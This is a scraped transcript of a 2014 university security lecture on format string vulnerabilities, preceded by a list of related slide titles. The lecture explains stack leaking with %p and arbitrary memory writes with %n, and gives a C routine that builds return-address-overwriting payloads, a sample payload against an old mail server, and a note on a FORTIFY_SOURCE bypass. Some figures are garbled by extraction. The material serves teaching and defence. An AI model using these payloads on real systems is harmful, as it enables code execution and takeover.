Computer Security 2014 – Ymir Vigfusson. 2  We have been investigating buffer overflows  Understand the intricacies of injecting malicious code  What.

Slides:



Advertisements
Similar presentations
Buffer Overflows Nick Feamster CS 6262 Spring 2009 (credit to Vitaly S. from UT for slides)
Advertisements

Functions, Varargs, and Stack Smashing Using the Stack for Good And Evil Before You Sit Down Please Get The Handout at the Entrance This file is called.
Exploring Security Vulnerabilities by Exploiting Buffer Overflow using the MIPS ISA Andrew T. Phillips Jack S. E. Tan Department of Computer Science University.
What is a pointer? First of all, it is a variable, just like other variables you studied So it has type, storage etc. Difference: it can only store the.
CSc 352 Programming Hygiene Saumya Debray Dept. of Computer Science The University of Arizona, Tucson
Chapter 7 Process Environment Chien-Chung Shen CIS, UD
Review: Software Security David Brumley Carnegie Mellon University.
Intro to Exploitation Stack Overflows James McFadyen UTD Computer Security Group 10/20/2011.
1 CHAPTER 8 BUFFER OVERFLOW. 2 Introduction One of the more advanced attack techniques is the buffer overflow attack Buffer Overflows occurs when software.
1 Homework Turn in HW2 at start of next class. Starting Chapter 2 K&R. Read ahead. HW3 is on line. –Due: class 9, but a lot to do! –You may want to get.
Exploiting Format String Vulnerabilities
1 Pointers, Dynamic Data, and Reference Types Review on Pointers Reference Variables Dynamic Memory Allocation –The new operator –The delete operator –Dynamic.
Control hijacking attacks Attacker’s goal: – Take over target machine (e.g. web server) Execute arbitrary code on target by hijacking application control.
CMSC 414 Computer and Network Security Lecture 20 Jonathan Katz.
Static Analysis for Security Amir Bazine Per Rehnberg.
University of Washington CSE 351 : The Hardware/Software Interface Section 5 Structs as parameters, buffer overflows, and lab 3.
Security Exploiting Overflows. Introduction r See the following link for more info: operating-systems-and-applications-in-
University of Calgary – CPSC 441. C PROGRAM  Collection of functions  One function “main()” is called by the operating system as the starting function.
CAP6135: Malware and Software Vulnerability Analysis Buffer Overflow : Example of Using GDB to Check Stack Memory Cliff Zou Spring 2011.
Outline Midterm results Static variables Memory model
Chapter 6 Buffer Overflow. Buffer Overflow occurs when the program overwrites data outside the bounds of allocated memory It was one of the first exploited.
Computer Security and Penetration Testing
Computer Security 2014 – Ymir Vigfusson Based on “Undefined Behavior: What Happened to My Code?” by Wang et al. APsys 2012 and Wang et al. OSDI ‘2012.
Mitigation of Buffer Overflow Attacks
Chapter 0.2 – Pointers and Memory. Type Specifiers  const  may be initialised but not used in any subsequent assignment  common and useful  volatile.
Computer Science and Software Engineering University of Wisconsin - Platteville 2. Pointer Yan Shi CS/SE2630 Lecture Notes.
CS390S, Week 4: Format String Vulnerabilities & Integer Overflows Pascal Meunier, Ph.D., M.Sc., CISSP January 31, 2007 Developed thanks to the support.
CNIT 127: Exploit Development Ch 4: Introduction to Format String Bugs.
C What you Know* Objective: To introduce some of the features of C. This assumes that you are familiar with C++ or java and concentrates on the features.
Computer Security 2015 – Ymir Vigfusson. 2  We have talked extensively about stack overflows  But those are not as common anymore  Heap overflows 
Overflow Examples 01/13/2012. ACKNOWLEDGEMENTS These slides where compiled from the Malware and Software Vulnerabilities class taught by Dr Cliff Zou.
Buffer Overflows Many of the following slides are based on those from
Copyright 2005, The Ohio State University 1 Pointers, Dynamic Data, and Reference Types Review on Pointers Reference Variables Dynamic Memory Allocation.
1 Homework HW6 On line – due next class Starting K&R Chapter 7 and Appendix B Also, UNIX – Various chapters in Glass.
Overflows & Exploits. In the beginning 11/02/1988 Robert Morris, Jr., a graduate student in Computer Science at Cornell, wrote an experimental, self-replicating,
CNIT 127: Exploit Development Ch 4: Introduction to Heap Overflows
Buffer Overflow Attack Proofing of Code Binary Gopal Gupta, Parag Doshi, R. Reghuramalingam, Doug Harris The University of Texas at Dallas.
Lecture Starting K&R Chapter 7 and Appendix B Also, UNIX – Various chapters in Glass.
What is exactly Exploit writing?  Writing a piece of code which is capable of exploit the vulnerability in the target software.
Computer Security 2014 – Ymir Vigfusson
Computer Organization and Design Pointers, Arrays and Strings in C Montek Singh Sep 18, 2015 Lab 5 supplement.
Sairajiv Burugapalli. This chapter covers three main categories of classic software vulnerability: Buffer overflows Integer vulnerabilities Format string.
Information Security - 2. A Stack Frame. Pushed to stack on function CALL The return address is copied to the CPU Instruction Pointer when the function.
Security Attacks Tanenbaum & Bo, Modern Operating Systems:4th ed., (c) 2013 Prentice-Hall, Inc. All rights reserved.
CS426Fall 2010/Lecture 141 Computer Security CS 426 Lecture 14 Software Vulnerabilities: Format String and Integer Overflow Vulnerabilities.
1988 Morris Worm … estimated 10% penetration 2001 Code Red … 300,00 computers breached 2003 Slammer/Sapphire … 75,00 infections in 10 min Zotob …
CS 3214 Computer Systems Godmar Back Lecture 7. Announcements Stay tuned for Project 2 & Exercise 4 Project 1 due Sep 16 Auto-fail rule 1: –Need at least.
CAP6135: Malware and Software Vulnerability Analysis Buffer Overflow : Example of Using GDB to Check Stack Memory Cliff Zou Spring 2014.
ECE 103 Engineering Programming Chapter 29 C Strings, Part 2 Herbert G. Mayer, PSU CS Status 7/30/2014 Initial content copied verbatim from ECE 103 material.
C Tutorial - Pointers CS 537 – Introduction to Operating Systems.
Chapter 7 Process Environment Chien-Chung Shen CIS/UD
DYNAMIC MEMORY ALLOCATION. Disadvantages of ARRAYS MEMORY ALLOCATION OF ARRAY IS STATIC: Less resource utilization. For example: If the maximum elements.
CSC 482/582: Computer Security
Mitigation against Buffer Overflow Attacks
Buffer Overflow Buffer overflows are possible because C doesn’t check array boundaries Buffer overflows are dangerous because buffers for user input are.
C Basics.
CNT4704: Computer Networking Special Topic: Buffer Overflow I: Attack Introduction Cliff Zou Fall 2009.
CMSC 414 Computer and Network Security Lecture 21
Software Security Lesson Introduction
Format String.
File I/O in C Lecture 7 Narrator: Lecture 7: File I/O in C.
CSC 495/583 Topics of Software Security Format String Bug (2) & Heap
CSC 495/583 Topics of Software Security StackGuard & Format String Bug
CAP6135: Malware and Software Vulnerability Analysis Buffer Overflow : Example of Using GDB to Check Stack Memory Cliff Zou Spring 2015.
C Secure Coding: Format String Vulnerability Igor Sobinov 2018
Week 3: Format String Vulnerability
Format String Vulnerability
Overflows, Injection, & Memory Safety
Return-to-libc Attacks
Presentation transcript:

Computer Security 2014 – Ymir Vigfusson

2  We have been investigating buffer overflows  Understand the intricacies of injecting malicious code  What we have achieved thus far  Heap overflows  OWASP 10  Cryptography,...  Coming up soon!  Defenses against heap overflows  Attacks against defenses against heap overflows ...  Discussion with a real hacker  Wireless security  Network security  If there is time...  Windows exploitation

3 (v)fprintfPrints to a FILE stream (from a va_arg structure) (v)printfPrints to a stdout stream (v)sprintfPrints to a string (v)snprintfPrints to a string with length checking setproctitleSet the argv[] array syslogOutput to the system logging facility err*, warn*, …

4 printf (“The meaning of life is %d\n”, 42); char *name = “Trekotron”; syslog (LOG_ERR, “Service %s is kaput“, name); float prec = 0.1; warn (“Precision below %2.4f\n”, prec);

5 CommandType of outputPassed as %dDecimalValue %uUnsigned decimalValue %xHexadecimalValue %pPointer (hexadecimal)Value %sStringReference (pointer) %nNumber of bytes written so farReference (pointer)

6 char tmpbuf[512]; snprintf (tmpbuf, sizeof (tmpbuf), "foo: %s", user); tmpbuf[sizeof (tmpbuf) - 1] = ’\0’; syslog (LOG_NOTICE, tmpbuf); syslog (LOG_NOTICE, “%s“, tmpbuf);

7  Try specifying a username of “%p”  Syslog will happily print “foo: 0x0804fa1c”  Can leak everything on the stack!  “%p.%p.%p.%p….”

8  Back when Clinton was still president, WU-FTPd ruled the Internet  Most big sites had it open on port 21  Anonymous access enabled by default  If you logged on anonymously, and typed:  “SITE EXEC %p” .. the site would indeed return “0xbfff1cf8”

9  We want to be able to write somewhere…  Bingo! CommandType of outputPassed as %dDecimalValue %uUnsigned decimalValue %xHexadecimalValue %pPointer (hexadecimal)Value %sStringReference (pointer) %nNumber of bytes written so farReference (pointer)

10  Writes the number of bytes written to an int *  Normal usage:  int cnt;  snprintf (buf, sizeof(buf), “Complex #%2.4f%n = %s. %n”, number, &cnt, str);  Now cnt contains the number of bytes output before the string…  Mostly useful for hackers  Hence having now been disabled for e.g. Windows

11  Let’s say we have many or redundant arguments  printf (“User[%s]: Edge[%s--%s], directed from %s”, user, user, nbr, user);  There is a prettier way using the ‘$’ qualifier  printf (“User[%1$s]: Edge[%1$s--%2$s], directed from %1$s”, user, nbr);  Called Direct Parameter Access

12  Simple vulnerable binary  Input string: ABCDABCD%p.%p.%262$p.%4$n

13 ABCDABCD %p.%p.%262$p.%4$n Stack 0xfffffffff esp printfvuln main env bufegg arg eip ebp arg eip ebp Argument processed by printf Output buffer: Format string:

14 ABCDABCD %p.%p.%262$p.%4$n Stack 0xfffffffff esp printfvuln main env bufegg arg eip ebp arg eip ebp Argument processed by printf Output buffer: Format string: ABCDABCD

15 ABCDABCD %p.%p.%262$p.%4$n Stack 0xfffffffff esp printfvuln main env bufegg arg eip ebp arg eip ebp Argument processed by printf Output buffer: Format string: ABCDABCD

16 ABCDABCD %p.%p.%262$p.%4$n Stack 0xfffffffff esp printfvuln main env bufegg arg eip ebp arg eip ebp Argument processed by printf Output buffer: Format string: ABCDABCDABCDABCD0xffffd464

17 ABCDABCD %p.%p.%262$p.%4$n Stack 0xfffffffff esp printfvuln main env bufegg arg eip ebp arg eip ebp Argument processed by printf Output buffer: Format string: ABCDABCDABCDABCD0xffffd464 ABCDABCD0xffffd464.0x400

18 ABCDABCD %p.%p.%262$p.%4$n Stack 0xfffffffff esp printfvuln main env bufegg arg eip ebp arg eip ebp Argument processed by printf Output buffer: Format string: ABCDABCDABCDABCD0xffffd464 ABCDABCD0xffffd464.0x400 ABCDABCD0xffffd464.0x400.0xffffd258

19 ABCDABCD %p.%p.%262$p.%4$n Stack 0xfffffffff esp printfvuln main env bufegg arg eip ebp arg eip ebp Output buffer: Format string: ABCDABCDABCDABCD0xffffd464 ABCDABCD0xffffd464.0x400 ABCDABCD0xffffd464.0x400.0xffffd bytes printed Will execute: *0x = 35 ! Can write to an arbitrary memory address!

20  We pop enough arguments (using %) from the stack to reach a place under control called PLACE  Could be part of format string input, in environment,..  Inside PLACE we embed location of return address  We will be using %n to overwrite such a location  We must write enough bytes to the output to increase our “output counter”, e.g. using %123u  This controls what %n will write to the location at PLACE  But this could be a very large number …

21

22 void assemble_format(u_long eip_addr, u_long shellcode_addr, u_int previous) { unsigned int tmp = 0; unsigned int copied = previous; unsigned int num[4] = { (unsigned int) (shellcode_addr & 0x000000ff), (unsigned int)((shellcode_addr & 0x0000ff00) >> 8), (unsigned int)((shellcode_addr & 0x00ff0000) >> 16), (unsigned int)((shellcode_addr & 0xff000000) >> 24) }; memset (prepend_buffer, '\0', sizeof(prepend_buffer)); memset (append_buffer, '\0', sizeof(append_buffer)); for (int i = 0; i < 4; i++) { copied = copied % 0x100; if ( (i > 0) && (num[i-1] == num[i]) ) /* copied == num[i], no change */ strcat (append_buffer, "%n"); else if (copied < num[i]) { if ( (num[i] - copied) <= 10) { sprintf (append_buffer+strlen(append_buffer), "%.*s", (int)(num[i] - copied), "SECURITY.IS"); copied += (num[i] - copied); strcat (append_buffer, "%n"); } else { sprintf (append_buffer+strlen(append_buffer), "%.%du", num[i] - copied); copied += (num[i] - copied); strcat (append_buffer, "%n"); strcat (prepend_buffer, "AAAA"); /* dummy */ } } else { /* copied > num[i] */ tmp = ((num[i] + 0xff) - copied); sprintf (append_buffer+strlen(append_buffer), "%.%du", tmp); copied += ((num[i] + 0xff) - copied); strcat (append_buffer, "%n"); strcat (prepend_buffer, "AAAA"); } sprintf (prepend_buffer+strlen(prepend_buffer), "%c%c%c%c", (unsigned char) ((eip_addr+i) & 0x000000ff), (unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8), (unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16), (unsigned char)(((eip_addr+i) & 0xff000000) >> 24)); } while (strlen(prepend_buffer) < ADDRESS_BUFFER_SIZE) { strcat (prepend_buffer, "X"); } }

23... xx xx xx xx c8 d2 ff ff 0e ab xx xx xx xx... Somewhere on stack ADDR1ADDR2ADDR3ADDR4 % AA u %4$n % BB u %5$n % CC u %6$n % DD u %7$n ADDR1 ADDR2 ADDR3 ADDR4... xx xx eb 1f xx xx... Somewhere in memory Rogue format string DE AD BE EF Shellcode location 16 + AA = 16 + AA + BB = 16 + AA + BB + CC = 16 + AA + BB + CC + DD = ADDR1 EF ADDR2 ADDR3 ADDR4 1BE 2AD 2DE Written output bytes counters EF BE AD DE

24  Qualcomm Popper 2.53  How would you attack this?  %497d\x3c\xd3\xff\xbf

25  Cute trick: You don’t have to write 4 bytes at once  The ‘h’ qualifier uses short int types  So “%hn” will write 2 bytes instead of 4  Actually, “%hhn” will write only 1 byte  Much shorter format strings now possible

26  We can choose our target address freely!  Return addresses on stack.  GOT entries (for PLT). Overload a system call.  __atexit handler (always called – safe spot)  DTORS (always called before exit())  C library hooks (__malloc_hook, __free_hook)  We can even inject shellcode  Write it somewhere little by little with %n…  We can even bypass NX  Use return to libc or ROP  Overwrite GOT handler for fopen() with system()

27  Format strings allow you to also peek into memory  E.g. in WU-FTPd, one has an interactive session  Idea  Input: AAAABBBB|%u%u…%u|%p|  Output: AAAABBBB| |0x081c4cf8|  Increase the number of %u’s until %p == 0x  Now you know the layout of the stack exactly  Produces an offset independent exploit  What if you’re blind?  Can use % u vs %u and measure response time  Use %n to see if application segfaults or not

28 void sudo_debug(int level, const char *fmt,...) { va_list ap; char *fmt2; if (level > debug_level) return; /* Backet fmt with prog name and a newline to make it a single write */ easprintf(&fmt2, "%s: %s\n", getprogname(), fmt); va_start(ap, fmt); vfprintf(stderr, fmt2, ap); va_end(ap); efree(fmt2); }

29  Various mitigations  Format strings are an endangered species  gcc gives heaps of warnings, easy to automatically check  Glibc enables FORTIFY_SOURCE ▪ Disallows %135$... direct access unless all arguments used  Classic tale of security cat and mouse  Turns out FORTIFY_SOURCE had an integer bug ▪ Writing % $... would allow NULL to be written ▪ Overwrite NULL over the FORTIFY_SOURCE parameters! ▪ Thus disabling the protection.  Allows sudo to be exploited on Fedora 16

30  Format string vulnerabilities  Using printf (cmd); instead of printf (“%s”, cmd);  Lazy programmers… bugs like this still found!  Allows an attacker to investigate memory  Attacker can also write to an arbitrary address  Using the %n primitive carefully  Can take over the program, even remotely  Mitigations  FormatGuard, FORTIFY_SOURCE, disable %n,…

31

32 void sighndlr(int dummy) { syslog(LOG_NOTICE,user_dependent_data); // *** Initial cleanup code, calling the following somewhere: free(global_ptr2); free(global_ptr1); // *** 1 *** >> Additional clean-up code - unlink tmp files, etc << exit(0); } /************************************************** * This is a signal handler declaration somewhere * * at the beginning of main code. * **************************************************/ signal(SIGHUP,sighndlr); signal(SIGTERM,sighndlr); // *** Other initialization routines, and global pointer // *** assignment somewhere in the code (we assume that // *** nnn is partially user-dependent, yyy does not have to be): global_ptr1=malloc(nnn); global_ptr2=malloc(yyy); // *** 2 *** >> further processing, allocated memory << // *** 2 *** >> is filled with any data, etc... <<

33 /* Log a message to syslog, pre-pending the username and splitting the message into parts if it is longer than MAXSYSLOGLEN. */ static void do_syslog( int pri, char * msg ) { int count; char * p; char * tmp; char save; for ( p=msg, count=0; count < strlen(msg)/MAXSYSLOGLEN + 1; count++ ) { if ( strlen(p) > MAXSYSLOGLEN ) { for ( tmp = p + MAXSYSLOGLEN; tmp > p && *tmp != ' '; tmp-- ) ; if ( tmp <= p ) tmp = p + MAXSYSLOGLEN; /* NULL terminate line, but save the char to restore later */ save = *tmp; *tmp = '\0'; if ( count == 0 ) SYSLOG( pri, "%8.8s : %s", user_name, p ); else SYSLOG( pri,"%8.8s : (command continued) %s",user_name,p ); /* restore saved character */ *tmp = save; /* Eliminate leading whitespace */ for ( p = tmp; *p != ' '; p++ ) ; } else { if ( count == 0 ) SYSLOG( pri, "%8.8s : %s", user_name, p ); else SYSLOG( pri,"%8.8s : (command continued) %s",user_name,p ); }

34 /* * Pointer to an array containing all allocated channels. The array is * dynamically extended as needed. */ static Channel **channels = NULL; /* * Size of the channel array. All slots of the array must always be * initialized (at least the type field); unused slots set to NULL */ static u_int channels_alloc = 0; Channel *channel_by_id(int id) { Channel *c; if (id channels_alloc) { logit("channel_by_id: %d: bad id", id); return NULL; } c = channels[id]; if (c == NULL) { logit("channel_by_id: %d: bad id: channel free", id); return NULL; } return c; }

35  Amass more knowledge of low-level exploitation  Coming up next: ‘tauntlab’. NX enabled!  (i) format (or FORMAT) asks for a format string exploit. Competition!  (ii) bluevuln/greenvuln/redvuln requires some heap exploitation magic  (iii) durka requires some easy way around NX  (iv) spectre requires some love…  Some of these embed a nice function called heaven() …  13% of grade, due Friday Nov 14 at 23:59  Competition for the shortest format string: Until Monday after (Nov 17)!